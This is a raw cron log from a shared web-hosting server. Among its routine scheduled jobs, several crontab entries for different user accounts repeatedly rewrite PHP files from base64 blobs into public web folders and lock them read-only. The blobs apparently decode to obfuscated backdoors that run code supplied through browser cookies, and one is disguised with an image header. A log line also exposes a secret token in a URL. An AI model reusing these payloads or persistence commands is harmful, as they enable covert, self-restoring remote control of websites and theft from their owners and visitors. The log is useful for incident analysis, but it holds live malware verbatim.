Mar  1 13:01:02 medusa CROND[8912]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:01:02 medusa CROND[8914]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:01:02 medusa CROND[8920]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:01:02 medusa CROND[8921]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:01:02 medusa CROND[8922]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:01:02 medusa CROND[8930]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:01:02 medusa CROND[8923]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:01:02 medusa CROND[8936]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:01:02 medusa CROND[8933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:01:02 medusa run-parts(/etc/cron.hourly)[8948]: finished 0anacron
Mar  1 13:02:01 medusa CROND[2265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:02:02 medusa CROND[2445]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
Mar  1 13:02:02 medusa CROND[2447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:02:02 medusa CROND[2449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:02:02 medusa CROND[2450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:02:02 medusa CROND[2451]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:02:02 medusa CROND[2452]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:02:02 medusa CROND[2463]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:02:02 medusa CROND[2461]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:02:02 medusa CROND[2462]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:02:02 medusa CROND[2465]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:02:02 medusa CROND[2469]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:02:02 medusa CROND[2472]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:02:02 medusa CROND[2474]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:03:01 medusa CROND[27183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:03:01 medusa CROND[27317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:03:01 medusa CROND[27320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:03:01 medusa CROND[27367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:03:01 medusa CROND[27370]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:03:01 medusa CROND[27372]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:03:01 medusa CROND[27373]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:03:01 medusa CROND[27374]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:03:01 medusa CROND[27379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:03:01 medusa CROND[27380]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 